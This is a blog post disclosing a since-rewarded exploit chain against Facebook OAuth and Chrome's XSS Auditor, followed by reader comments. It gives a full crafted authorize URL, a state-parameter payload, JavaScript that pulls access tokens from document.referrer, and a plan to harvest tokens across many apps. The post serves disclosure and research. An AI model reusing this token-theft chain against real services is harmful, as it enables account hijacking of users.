1. in Google Chrome XSS Auditor, leaking document.referrer.
3 weeks ago I wrote disclosure post on referrer leakage for pages with X-XSS-Protection: '1;mode=block'. Please read the original post to understand how it works. When Auditor blocks page, it redirects to about:blank URL (about:blank always inherits parent's origin). And we can access document.referrer containing the previous URL Auditor just blocked. Facebook had '1; mode=block' header. Now it's 0; because of us (Auditor is dangerous, new vulns will be posted soon). Sadly, this bug report was marked as sev=low by Chrome security team and no bounty granted.
It's not patched yet.
2. OAuth2 is... quite unsafe auth framework. Gigantic attack surface, all parameters are passed in URL. I will write a separate post about OAuth1 vs OAuth2 in a few weeks. Threat Model is bigger than in official docs.
In August 2012 I wrote a lot about common vulnerabilities-by-design and even proposed to fix it: OAuth2.a.
We used 2 bugs: dynamic redirect_uri and dynamic response_type parameter.
response_type=code is the most secure authentication flow, because end user never sees his access_token. But response_type is basically a parameter in authorize URL. By replacing response_type=code to response_type=token,signed_request we receive both token and code on our redirect_uri.
redirect_uri can be not only app's domain, but facebook.com domain is also allowed.
In our exploit we used response_type=token,signed_request&redirect_uri=FB_PATH where FB_PATH was a specially crafted URL to disclose these values...
3. location.hash disclosure on facebook.com
For response_type=token provider sends an access token in location fragment (aka location.hash) to avoid data leaking via referrers (location.hash is never sent in referrers)
@isciurus found a "bouncing" hashbang in September 2012. The trick was: facebook removes '#' from URLs containing "#!" (AJAX google indexation trick) , it boils down to copying location.hash into URL and discloses access token in document.referrer.
Later, in January he just found another bypass of "fixed" vulnerability, using %23 instead of #.
Here we go - PoC, look at the source code.
cut_me Custom Payload we used to make Auditor to block the final page. We put it in the 'state' parameter (used to prevent CSRF, you must know!)
target_app_id client_id we want to steal access_token and code from. In "real world" exploit we would use 100-200 most popular Facebook applications and just gather all the available tokens. It would be awesome.
sensitive_info - tampering of response_type parameter: signed_request and token are Private Info we are going to leak through document.referrer
Now the final URL:
url = "http://www.facebook.com/dialog/oauth?client_id=" + target_app_id + "&response_type="+sensitive_info+"&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D"+cut_me+"&sdk=joey";
Value will look like:
http://www.facebook.com/dialog/oauth?client_id=111239619098&response_type=token%2Csigned_request&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D%3Cscript%3Evar%20bigPipe%20%3D%20new%20(require('BigPipe'))(%7B%22lid%22%3A0%2C%22forceFinish%22%3Atrue%7D)%3B%3C%2Fscript%3E&sdk=joey
Steps:
1) We open 25 windows (this is maximum amount of allowed windows in Chrome) with different target_app_id. Gotcha: Chrome DOES load the URL even if it blocks a window. This makes exploit even cooler: we open 25 windows, all of them are blocked but loaded, Auditor blocks Custom Payload, we grab document.referrer, user is not scared at all.
2) If user previously authorized certain app_id he will be automatically redirected to
FB_PATH#...signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD
3) Here Facebook javascript removes '#' from the URL and redirects user to another FB_PATH/...?signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD
4) Now server responds with HTML page and
X-XSS-Protection: '1; mode=block'
header.
Chrome XSS Auditor detects state=CUSTOM_PAYLOAD in HTML code of response:
<script>var bigPipe = new (require('BigPipe'))({"lid":0,"forceFinish":true});</script>'
blocks and redirects to about:blank
5) On MalloryPage we have setInterval which waits for location.href=='about:blank'.
about:blank inherits our MalloryPage origin - so we have access to document.referrer. Final routine:
playground.close();
clearInterval(int);
var ref = playground.document.referrer;
window.token = ref.match(/token=([^\&]+)/)
if(window.token){
window.token = window.token[1];
document.write('<script src="https://graph.facebook.com/me?callback=hello&access_token='+window.token+'"><'+'/script>');
}
var hello = function(data){
alert('Whats up '+data.name+" your token is "+window.token);
}
Voila! Using this exploit we can obtain code, signed_request and your access_token for any Client.
After party.
We are splitting $2500 + $2500 bounty from Facebook and working on new attacks.
You really must check the coming soon article I promised to write in a few weeks, explaining how broken OAuth2 is.
For example, if you authenticate users with Facebook it means any XSS on your website can steal User's account. Currently I'm discussing and proposing new ways to Facebook security team how to handle it and make response_type=code more secure, because they are the biggest provider and their decisions matter. If we don't fix it - it's The Road To Hell!
For example, if you authenticate users with Facebook it means any XSS on your website can steal User's account. Currently I'm discussing and proposing new ways to Facebook security team how to handle it and make response_type=code more secure, because they are the biggest provider and their decisions matter. If we don't fix it - it's The Road To Hell!
I knew how vulnerable Facebook could be, and deleted my account last year, but now it looks like it's also time to dump Chromium browser!
ReplyDeleteAwesome work! Thank you for sharing!
May be you should realize how vulnerable are you while walking on the road.
DeleteIf you are going to dump every website/piece of software that has contained a vulnerability you will need to stop using the Internet as there are none that have not contained at least one.
DeleteYou should try my new browser. It's not publicly available, and I can guarantee that no exploits have been found in it. I haven't even looked for any!
DeleteAgree with the previous 3 posts. Facebook is vulnerable, just like everywhere else on the internet, just don't be dumb and post extremely personal information then it won't really matter.
DeleteI think the problem is the sensitive, personal data that people tend to store in a facebook. Not the fact that there are vulnerabilities. If you need to network there are better bets than facebook.
DeleteWhy does the first comment on such an article have to be from a retard / troll?
ReplyDeleteto add some flame
DeleteWhy does the second comment have to come from someone reacting to the retard/troll? ;)
DeleteGreat bugs, Keep up the good work!
ReplyDeleteGreat problem solving, well written :) and nice catch. Thanks for helping to make the web safer for everyone!
ReplyDeleteImpressive work! Kudos.
ReplyDeleteThis seems like an implementation problem. If the OAuth 2 Provider is exclusively access code access and requires confidential clients I don't see how any of your hacks can work. This is why in our OAuth 2 implementat (Resteasy), we don't allow any of the public and insecure options for OAuth2.
ReplyDeleteYou're making it a lot harder for legitimate researchers to get access to using the APIs
ReplyDeleteHopefully, Google is fully aware of this but I hope they close this vul ASAP and look for more to close before someone's else drive them.
ReplyDeleteWhat's going on with security and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "hacked" articles. Damn!
>What's going on with security and malware? I can't remember when was the last time I skimmed Techmeme/Hackernews without seeing such "hacked" articles. Damn!
Deletedo you mean you see 'hacked' very often? this is nice!
Facebook gives you at least $500, if you hack their site. Have they paid you?
ReplyDeleteApparently you didn't bother to read the entire article
DeleteI'm guessing the XSS filter in the Firefox NoScript addon doesn't have this vulnerability?
ReplyDeletehm. didn't check actually.. does it leave document.referrer?
DeleteCan someone explain the article in a much simpler way?
ReplyDeletesorry dude, i don't explain in a simple ways on my blog. it takes a lot of time
DeleteI think the $2,500 bounty is pretty shity for a company worth billions. You're doing weeks of intrusion analysis for mere pennies. It seems to me like they're 20 orders of magnitude off in that.
ReplyDeleteYou're a nice guy.
the exploit is combination of different bugs and only fo chrome, so i don't think they must have paid more.
DeleteIt would cost much more on a black market though
How to find a way to this black market?
Deletesimply awesome
ReplyDeleteWOW great... thats briliant idea, GOOD JOB
ReplyDeletesukses gan :)
ReplyDeleteА по русски описать?
ReplyDeleteДа, Я бы тоже попросил на русском, уж больно сложно читать это все на инглише
ReplyDeleteче сложного то, базовые все слова.
Deleteменя забанили на хабре, лавочка закрыта
А тем кто вообще английский не знает?
DeleteUchica uchica i eshe raz uchica
DeleteIf I am reading this correctly, you could make posts as the app owner by hijacking the session? If so, you could have made hundreds of thousands off of this exploit. Totally not worth it for $2500. Unless I've read this wrong of course.
ReplyDeleteyes i could hijack access token and post like i'm any app user authorized.
Deletewell it would take a lot of time, and it's black hat
When is this exploit going to be installed in public urinals? It has a lot of promise.
ReplyDeletecoool
ReplyDeleteWhat drives you to find out vulnerabiities and what makes you a genius in security?
ReplyDeleteSaying that oAuth 2 has huge security holes is pretty big untrue statement. What you found was not a oAuth 2 hole, what you found was a poorly written application that allowed you to take control of it. Don't blame the protocol when the developer didn't follow its specs...
ReplyDeleteOAuth is not just framework, it is also infrastructure around it. And yes it's OAuth to blame because their spec sucks. E.g. why whitelist redirect_uri and send it over in URL at the same time? Poor protocol, with even more poor implementation by its main provider - Facebook.
Delete